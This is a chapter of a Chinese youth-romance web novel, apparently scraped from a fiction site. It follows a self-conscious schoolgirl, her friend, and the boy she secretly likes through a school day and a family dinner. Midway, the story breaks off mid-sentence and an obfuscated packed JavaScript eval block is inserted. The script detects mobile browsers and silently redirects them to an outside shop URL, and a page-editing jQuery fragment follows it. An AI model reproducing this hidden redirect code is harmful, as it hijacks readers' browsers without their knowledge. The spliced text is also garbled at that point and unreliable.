文趣网 > 都市小说 > 青春痘 > 21. 阴暗面
    临近元旦,南城的气候愈加湿冷,却还是没有下雪。

    夏知节延承在林城二中的规定,把校服/套/在棉服外,走下楼,远瞧着,像个充气娃娃。

    楼下不见沈芳踪影,桌上却放着一杯喝着刚刚好的白开水,杯子下面垫了张纸条和一张十块钱,纸条上面写着沈芳的叮嘱:我去批发市场了,今天早饭自己解决。

    下面还照着夏知节的模样,画了个笑脸。

    如此鲜活的画技,夏知节是一点都没遗传到,她不由得叹了口气。

    既然早饭自行解决,夏知节便到东哥的包子店,要了一笼三鲜馅的包子。

    出于她常跟着郑沫一块到店吃饭,混了个眼熟,张东又给她多拿了两个,夏知节不知道张东全名,在接过包子时,像郑沫他们那样,喊他东哥:“谢谢东哥。”

    “没事,上学路上慢点啊。”

    夏知节接过包子,怕迟到的她,边走边吃。

    可刚出锅的包子太烫,她现在又戴着牙/套/,怎么摆弄包子都不顺心。

    她集中全力,鼓起腮,大口大口地吹凉包子,刚咬第一口,身后就跳出一人,等看清长相后,夏知节嘴里的包子,差点吐出来。

    裴瑄单肩背着书包,上身就一件黑色打底和一件深棕色短款大衣,是夏知节这一个冬天,都不会穿出门的两件衣服。

    一声很低沉的笑,让她回过神,她见裴瑄勾起唇,低笑一声,“早上好啊,夏知节同学。”

    “早上好。”

    “你今天怎么来这边吃饭了?”

    夏知节如实回答:“我妈妈去进货了,没给我准备早饭,给了我十块钱,让我自己解决。”

    “是吗,好巧,我妈今天也没给我准备早饭,所以我就过来投奔东哥了。”

    夏知节见他两手空空,问他:“你是把早饭吃完了吗?”

    裴瑄摊开手,“没,三鲜包子卖没了,东哥说要等下一锅,但是马上要上早读了,索性就不等了,还是直接吃午饭吧。”

    “那怎么行!”响亮的声音,让夏知节自己都惊了一下,随后便放低声音,“我这有三鲜包子,如果你不介意的话。”她将包子递了出去。

    裴瑄眉头一颤,脸上的笑意一点点加深,“好啊,谢谢‘节节高升’同学请客。”

    夏知节不好意思地弯起嘴角,轻声道:“不客气。”

    两人边走边吃,裴瑄一个包子下肚后,发出一声赞叹,“啊,还是三鲜包最好吃了。”

    夏知节应和点了点头,又后知后觉地问道:“郑沫他们呢?”

    “他们在等下一锅的包子呢,我们不等他们。”

    夏知节小口咬下面皮,点点头。

    越往前走,二中的学生越多,杂七杂八地声音也一直萦绕在夏知节耳边,她听到及看到最多的,就是几人聚在一块,眼睛不断往自己身上看,时不时还伴着刺耳的笑。

    在林城不好的经历,逐渐涌上来。

    夏知节越往前走,头就越低,手里还剩半口的包子,也变得索然无味。

    她闭上嘴巴,一声不吭的往前,与裴瑄也拉开了一段距离。

    但很快,她的衣袖就被裴瑄拽住,“夏知节同学,怎么突然走这么快啊。”

    夏知节瞳孔乱颤,不自觉地看向四周,猛得挣开他,红着脸慌乱道:“请你离我远点,谢谢。”说完,就留下裴瑄一人。

    跑到教室的夏知节,还没调整好呼吸,郑沫和王泽就紧跟其后地进来,两人书包都没来的及放下,就抢着去饮水机那接水,喝了整整一杯,才回到座位上,“终于缓过来了,我跟你说知节,东哥今天的包子,咸死我了,我差点干死在路上。”

    夏知节看着自己还没吃完的三鲜包,好奇着:“怎么会呢?我的包子也在东哥那买的,一点都不咸。”

    “啊?那你应该比我早买。”

    夏知节想了想,好像是的。

    郑沫看了看后面,“我哥呢?怎么还没来?”

    夏知节不自然地摇了摇头,“不知道。”

    郑沫又喊了王泽,“喂,看见裴瑄没?”

    “没。”他哭丧着脸,头发被他揉得飞起,“完蛋了,你说谢倾吃完这次早餐,会不会以后都不会让我带早饭了啊!”

    郑沫眼皮下拉,“不会,因为谢倾从来都没吃过你的早餐。”

    虽说王泽本身就知道这事,但从郑沫嘴里说出来,还是让他有些火大,“喂,你不这么说话会死啊。”

    “我懒得理你。”

    夏知节趴在桌上,眼神空洞。

    脑中不断回响起那些只言片语,她的手伸入发丝,掌心与额头上的青春痘互相摩擦着,夏知节微微簇起眉,眼前朦胧一片。

    “知节,你怎么了?”

    郑沫的声音突然地出现,打断夏知节所有的胡思乱想。

    她慢慢坐起,看着郑沫,“郑沫,怎么才能像你一样漂亮?”

    “怎么突然问这个?”

    “没…我只是…”就在夏知节犹豫时,裴瑄坐到了位上。

    “你怎么才来。”郑沫不明白地问。

    夏知节的身体稍微往里侧了一点,低头看着书本。

    “哦,早餐没好,又回去重吃了。”

    “早餐还有重新吃的?”

    裴瑄盯着某一处,没心情的“嗯”一声。

    看他臭着一张脸,郑沫也只好自讨没趣地转了过去,她凑到夏知节面前,捧着她的脸,仔仔细细,从上到下看了一遍。

    “嗯,经过郑师傅的观察,我能确定的有三点。”

    “哪三点?”

    郑沫边说边竖起手指,“第一,你眼睛很大;第二,鼻梁高;第三,有唇珠的嘴巴谁能不爱。”

    夏知节自嘲一声,“你这都什么跟什么。”

    郑沫两手拍在她肩膀上,“这说明,你的五官没得挑啊!”

    夏知节不以为真,“没事,你实话实说,我能接受的。”

    “这就是实话啊!”郑沫举起手,“我发誓!不信你问裴瑄。”

    夏知节与裴瑄同一时间对视一眼,又很默契地收回。

    她将郑沫的手拉下,“不用发誓,我信了。”

    郑沫冲她笑了笑,紧接着就拨开她的刘海,脑门凉风一过,夏知节不自觉抖了一下,下意识就要用手,盖住额头上的那些青春痘,却被郑沫打了回去。

    “有些痘,也是被刘海闷出来的。”

    夏知节“哦”了一声,又默默将刘海拨到一起,但很快又被郑沫撩开,“把额头露出来好看。”

    这下,夏知节彻底安分起来,两手自然下垂,放在凳子两侧。

    “你皮肤有点干,平时要注意保湿。”

    夏知节点头。

    郑沫先是在她脸上看了一圈,随后视线下移,食指勾住她的衣领。

    冷风此刻见缝插针,不停往衣服里钻,夏知节重重吸了口气,还没来得及呼吸,郑沫的头就伸了过来。

    夏知节惊慌地推开她,捂着自己领口,“喂,你干嘛呢。”

    郑沫哼笑道:“你身上倒挺白,尤其—”

    夏知节立马捂住她的嘴,“诶,你小声点。”

    被捂上嘴巴的郑沫,一边比划“OK”手势,一边点头,夏知节这才将手拿开。

    郑沫拉住她的手,解释道:“哎呀,我的意思是,让你变白这件事,你就安心交给我。”

    “你打算怎么做?”话刚落,郑沫地手指就戳了过来,“让我们先从物理层面开始。”她说,“你平时都用什么防晒霜?”

    夏知节摇头,她从来都没用过防晒霜。

    “没关系。”郑沫安慰着,“我家多的是,你随便拿。”

    “不用不用,我自己买就好。”

    郑沫霸气搂过她,又气又笑,“夏知节,咱俩都认识这么久了,还跟我客气呢?”

    夏知节被她说得一阵脸红,“不是的…”

    “那今天放学,你跟我一块回家。”

    “这…”

    夏知节觉得自己突然过去,会打扰到她的家人,打算拒绝的,但抬眼就看见郑沫冲她撒娇,自己的手也都快被她晃麻了,无奈之下,夏知节点头答应,“不过,晚饭前我就得回家。”

    “好!”郑沫身体往后一趟,跟身后的人说:“今天知节跟我们一块回。”

    夏知节偷偷看了一眼裴瑄,他在低头写试卷,没说话。

    夏知节紧抓着校服裤,嘴巴微微抿起。

    放学路上,郑沫挽着夏知节,两人边走边聊,知道夏知节不经常走这边,郑沫就把这路边,自己觉得好吃好玩的店铺,都介绍给她。

    她伸直胳膊,冲斜对面红色门头的店铺指去,“那家千里香,抄手一绝。”她将脸凑近到夏知节颈窝处,“但今天我妈买了烤鸭让我们吃,不然就带你过去尝尝了。”

    “烤鸭!我也要吃!”王泽突然凑过来,讲了这么一句。

    “滚,没你的份。”

    “切,我去裴瑄家吃。”

    王泽习惯性地伸手,去勾搭裴瑄,可这次在空中连扑两次,等他回头再看,裴瑄已经离三人很远了。

    王泽提速追了上去,“喂,你走那么快干嘛?”

    裴瑄拉了拉书包带,漫不经心道:“哦,有人让我离她远点。”

    “谁?!”王泽跳到他另一侧,“谁敢这么说你?”

    到处乱窜的王泽,惹人心烦,裴瑄没耐心地“啧”了一声,“我先走了。”

    “诶!”

    郑沫见状,拉着夏知节跟了上来,看着裴瑄干净利落的背影,满脸疑惑:“诶?我哥他怎么先走了?”

    王泽抬手耸了耸肩,“不知道啊,我就听他说了句‘有人让我离他远点’。”他用手肘戳了戳郑沫的胳膊,“诶,那人是谁,你知道吗?”

    “他又没跟我说过,我上哪知道。”郑沫觉得莫名其妙。

    夏知节站在一边,默默低下头。

    从小区门口,一路走到电梯里,随处可见的安保人员,倒让夏知节心里打怵,这样的阵仗,夏知节只在银行门口见过。

    电梯在十八楼停下,长廊宽阔明亮,左右两边各有一门,左侧门被打开,越是靠近越能闻到饭香味。

    快到门口,一个年轻貌美的女人突然探出头,满脸春风的张开双臂,开口的声音,像夏日蜜桃,“沫宝!”

    当夏知节看到郑沫小跑过去,称对方为妈妈时,那句“姐姐好”立马咽肚,别扭的冲她打招呼:“阿姨您好,我是夏知节,郑沫的朋友。”

    裴段清冲她笑,模样与郑沫高度重合,她伸手摸了摸夏知节后脑,“你好呀,夏知节小朋友,沫沫总在我面前提到你,今天终于见面啦!”

    夏知节不好意思地笑了笑,礼貌回应着:“阿姨你真漂亮。”

    “我就喜欢爱说实话的小朋友。”裴段清捏了捏她的脸颊,没几声寒暄,就领着二人进去,“沫儿,带知节先去洗手,果盘阿姨已经放进你卧室里了,待会出来吃饭。”

    夏知节在卫生间听到“吃饭”俩字,一边冲水一边压低声音,“喂,待会你吃饭,我就回去了。”

    “不着急,我先带你去我卧室。”

    夏知节穿过客厅,经过书房,拐了一个弯,到了郑沫卧室。一推开门,她就被半环的南城夜景吸引住。

    “好漂亮。”她站到窗边,往远处眺望。

    郑沫端着果盘走到她身边,给她喂了颗白草莓,自己吃了颗蓝莓,“我每天写作业前,都要站在这看半个小时。”她指着斜对面那栋楼,“裴瑄家就在那,1201。”

    夏知节在心里一层层数着,数到第十二层,发现那一排都没亮灯,误以为数错的她,又重新数了一遍,最后还是停在没亮灯的那层。

    她想寻问原因,却被郑沫拉到她的梳妆台,满柜子的护肤品展在她面前,别说挑了,光是看都看花眼了。

    郑沫拉开一抽屉,里面全是面膜,她把保湿类的全拿了出来,送给夏知节,“你是干皮,要用保湿类的产品。”说着又打开另一个抽屉,里面摆放的瓶瓶罐罐,让夏知节睁不开眼。

    “科颜氏、英氏…”郑沫边说边拿,没几下桌子就被她摆满,她用牛皮纸袋全部装起,给一旁还在傻眼的姑娘,“先这一点,咱们先观察两个月。”

    夏知节掂量那一兜子贵重物品,“会不会太多了些。”

    “这才哪跟哪,你这辈子的护肤品我都能给你包了。”

    夏知节倒吸一口凉气,“等找到适合我的,我就自己买。”

    知道拗不过夏知节的郑沫,顺着她的话,答应下来:“也行。”

    门外传来裴段清的声音,示意郑沫去吃晚饭。

    夏知节接收到信号,起身准备离开,“既然你要吃晚饭了,那我就先走了。”

    郑沫笑眯眯地拉住她的胳膊,“来都来了,吃个饭再走。”

    夏知节立刻坚定拒绝,“不不不,那太麻烦阿姨了,我回家吃饭就行。”

    郑沫的房门被裴段清打

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537525|203067||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    开,“沫赶紧带知节出来吃饭。”说完又看向夏知节,温柔道:“知节呀,阿姨今天做了你爱吃的糖醋小排,赶紧跟沫洗手吃饭。”

    等人走后,夏知节才敢小声问,“阿姨怎么知道我喜欢吃什么菜的?”

    郑沫也一脸懵,满脸羞愧看向她,“我也是刚刚才知道你喜欢吃个。”

    夏知节背着书包,从郑沫房里走出去,她站在厨房门口,轻声开口,“裴阿姨,我—”

    门铃声,打断她的话。

    在厨房忙活的裴段清,将夏知节当成郑沫,让她去开门。

    夏知节乖乖照做,心想着,这或许是趁机离开的最佳方式。

    她毫无防备地打开门,嘴里那声“叔叔好”就要说出口,可门口站着的人,竟是裴瑄。

    夏知节身体僵硬得后退半步,视线与他交错开。

    裴瑄一只脚踏进屋内,手撑在门框上,看到夏知节背后的书包,微微俯下身来,声音略显平淡,“要吃饭了,夏知节同学这是要去哪?”

    “嗯…时间不早了,我就先回家了。”怕没有说服力,夏知节又搬出裴段清,“跟裴阿姨说过了。”

    裴瑄轻哼一声,抬起另一只脚,往前走了一步,反手把门关上,昂头冲着厨房喊了一嗓子:“舅妈!夏知节同学要走!”

    这音量,比他平日声音加起来都要大,夏知节瞪大眼睛,呆愣在原地,随后又看向厨房。

    此刻的裴段清端着碗汤,站在厨房与餐桌中间,直勾勾的眼睛,似乎要把她看穿,“别啊知节,饭都盛好了,阿姨做饭可香了,瑄儿和沫儿都可爱吃了,你留下来也尝尝阿姨的厨艺呗!”

    郑沫顺着裴段清的话,走过来拿过她身后的书包,“对呀对呀,我妈可很少下厨的,留下来吃两口,待会我们给你送回去。”

    她后面的话,让夏知节更有压力了,她打心里就不想麻烦那么多人,她微微蹙着眉头,“真不用了,时间挺晚了,我这么久还没到家,她会担心的。”

    “打个电话跟你妈妈说一下就好啦!”

    “就用我的吧。”

    裴瑄把自己的手机递到她面前,这下,夏知节无路可退,她拨通沈芳的电话,“妈妈,我现在在同学家,现在马上就回家。”

    “不用这么着急,你好好在你同学家玩,结束了我再去接你。”

    “嘟—”的一声,电话被挂断,接着夏知节就被安排坐到餐桌上,糖醋小排就在她面前,郑沫坐在她对面,裴段清坐郑沫旁边,裴瑄从厨房端着一碗米饭,坐到她旁边,夏知节默默挺直后背。

    裴段清夹了块糖醋小排在她碗里,“来知节,尝尝味道怎么样。”

    夏知节咬了一口,肉质细嫩,软烂适中,就算她带着牙/套/也丝毫不影响她的咀嚼。

    她冲着裴段清竖起了大拇指,“好吃。”

    得到夸奖的裴段清,眯起眼睛,扬起唇,“好吃你就多吃。”她又夹了一块在她碗里,“这个小排,我先是在锅里煮,然后又用高压锅压它,处理起来麻烦得不行,还好瑄—”

    旁边人突然猛咳起来,吓夏知节一跳,就连裴段清的话也被他打断,“怎么搞的?怎么突然咳嗽了?”

    “牛逼,还没喝汤都能被呛着?”郑沫全方位肯定。

    夏知节抽了张纸给他,“没事吧?”

    裴瑄用那张纸擦了擦嘴,“没事。”他夹起一块糖醋小排,放到裴段清的碗里,“食不言寝不语,舅妈这可是你自己说的。”

    “对对对。”她看向夏知节,“知节,我们先吃饭。”

    裴瑄眼神阴冷,看了眼郑沫,端起面前的汤碗,抿了一口,“舅妈,这周周测,郑沫的生物不是很理想。”

    裴段清放下筷子,语气没了之前的柔和,皮笑肉不笑道:“是吗?沫儿,要不明天补课的时候,把生物也加上?”

    郑沫握紧筷子,眼睛恶狠狠地盯着裴瑄,“妈,你别听裴瑄瞎说,我生物这次还是班里第二呢。”她冲着夏知节眨眼。

    夏知节心领神会,她放下筷子,赶紧帮腔,“是的阿姨,郑沫的成绩已经很好了。”

    裴段清这才安心,卷了个烤鸭给郑沫,“啊~张嘴。”

    郑沫边咬边瞪着裴瑄,这个睚眦必报的小人。

    半小时后,几人结束了这个只有夹菜声的晚饭。饭后,夏知节坐在客厅沙发上,与郑沫和裴瑄一块,看了会关于青春伤痛的电影,故事情节感人至深。

    夏知节泪花在眼眶里打转,回头看,坐在地毯上的郑沫,已经哭成泪人,“明明就差一点,差一点就要幸福了,为什么!”

    这时,裴瑄递了张纸给她,“行了行了,这就一电影,别往心里去。”

    郑沫接过纸,哼了一声,“你也太冷酷了!”

    “怎么?我也要哭吗?”裴瑄抱着胳膊,坐回沙发上,冷不丁地回应着。

    “滚啊你。”

    裴瑄低头看了眼时间,“哦,确实该回去了。”他起身,站到夏知节面前,“九点了,夏知节同学不走吗?”

    他的语气过于压迫。

    时间的确很晚了,夏知节同裴段清打声招呼,便与裴瑄一同离开。

    电梯里,两人一左一右,中间还能站十个王泽。夏知节透过眼前的反光板,看到裴瑄正低头看手机,嘴巴绷成一条直线。

    她不禁抿起唇,直到电梯下到二层,她才轻声开口:“今天早上,我不是故意要说那样的话的。”

    同一时间,电梯门打开,声音空荡悠长,压制住她的声音。身旁的人一语不发,率先迈出,夏知节在心底叹了口气,低头跟了上去。

    外头冷风萧瑟,夏知节两腿直打颤,她揪住自己的领口,绕开裴瑄,就要往车站走,却被身后人叫喊住。

    “夏知节。”

    身后的人,走到自己的面前,逆着灯光,让她看不清裴瑄的脸,只能看到在他嘴巴一开一合间,冒出来的白雾,“你早上说,要跟我保持距离,对吗?”

    夏知节露出几根手指,在空中来回晃动,她吸溜着鼻涕,语速快到结巴,“不是的,我不是那个意思,我只是…只是…”

    说到后面,夏知节变得温吞起来,她在想,怎样的表达,才能不暴露自己一直在暗恋他,此刻,她仿佛在做一道数学题,大脑飞速运转着。

    空气冷了一秒、两秒、三秒…

    第五秒,她终于想到了合适的理由,夏知节滚了滚嗓子,嘴形刚出来,就被一道薄荷音拦截。

    她听见裴瑄说:“可我不想。”